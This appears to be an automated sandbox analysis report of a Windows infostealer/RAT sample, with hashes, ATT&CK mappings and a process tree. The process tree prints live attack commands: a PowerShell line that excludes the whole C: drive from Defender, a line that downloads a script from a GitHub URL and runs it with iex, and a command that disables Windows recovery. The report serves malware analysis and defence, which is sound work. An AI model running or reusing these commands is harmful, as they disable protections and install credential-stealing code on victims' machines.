bc26dce3cdef6d68bf158f16759b8252f6c07ebcbc1bbe38a117691befde8c99

General

Target

2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe
Size

9.4MB
MD5

a8a126a2f08c910ff2118c1d9cd41ea6
SHA1

aa891e4253475180b5b9505700f051bac1f830d8
SHA256

bc26dce3cdef6d68bf158f16759b8252f6c07ebcbc1bbe38a117691befde8c99
SHA512

0440419560637c1ff4343ece8f5576610cd6e971c7cfc129dfa6fab0f9c033a774c7eeb65aa662dc6b261f1416e8e6e9029873b2a38674fcfff73be90b5dc618
SSDEEP

98304:gF+XqZIyxqe7pd0ykSlqO0LTMEYdGzFGEq7boGvHA:3HIlq/PMERWD

Score

9^/10

credential_access discovery execution spyware stealer

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	1420	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3100	powershell.exe
1420	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Drivers\etc\hosts	2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3100	powershell.exe
1420	powershell.exe
3100	powershell.exe
1420	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 212 wrote to memory of 3100	212	2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe	84
PID 212 wrote to memory of 3100	212	2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe	84
PID 212 wrote to memory of 1420	212	2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe	85
PID 212 wrote to memory of 1420	212	2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe	85
PID 212 wrote to memory of 2956	212	2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe	88
PID 212 wrote to memory of 2956	212	2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe	88

C:\Users\Admin\AppData\Local\Temp\2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-24_a8a126a2f08c910ff2118c1d9cd41ea6_ngrbot_poet-rat_snatch.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -C "Add-MpPreference -ExclusionPath 'C:'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/defenderstuff.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1420
- C:\Windows\system32\reagentc.exe
  reagentc.exe /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:2956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

4

T1552

Credentials In Files

4

T1552.001

Discovery

Browser Information Discovery

1

T1217

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
76bb094bc0304e5ff8dba4a589283977

SHA1
555bf7b01d28c0bbd750417942e04150822060ae

SHA256
aeed2f53ea15ff740eaf33b3f6b47c75f7e6201736d82715c58d9f88176388b8

SHA512
2cd044e53f2bda79e0412227813dfee9a1a440e3ac12818a5430cc38ef066c332106dcff6960a49fc0a52fd7c6dd6db5b4b2812c2ee859a48413f97368389b47

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nw0midve.rdl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1420-35-0x0000019279B80000-0x000001927A326000-memory.dmp

Filesize
7.6MB

Download
memory/1420-27-0x00007FFDE98C0000-0x00007FFDEA381000-memory.dmp

Filesize
10.8MB

Download
memory/1420-28-0x00007FFDE98C0000-0x00007FFDEA381000-memory.dmp

Filesize
10.8MB

Download
memory/1420-31-0x00007FFDE98C0000-0x00007FFDEA381000-memory.dmp

Filesize
10.8MB

Download
memory/1420-40-0x00007FFDE98C0000-0x00007FFDEA381000-memory.dmp

Filesize
10.8MB

Download
memory/3100-14-0x000001E63BEF0000-0x000001E63BF12000-memory.dmp

Filesize
136KB

Download
memory/3100-34-0x00007FFDE98C0000-0x00007FFDEA381000-memory.dmp

Filesize
10.8MB

Download
memory/3100-1-0x00007FFDE98C3000-0x00007FFDE98C5000-memory.dmp

Filesize
8KB

Download
memory/3100-5-0x00007FFDE98C0000-0x00007FFDEA381000-memory.dmp

Filesize
10.8MB

Download
memory/3100-2-0x00007FFDE98C0000-0x00007FFDEA381000-memory.dmp

Filesize
10.8MB

Download

Analysis

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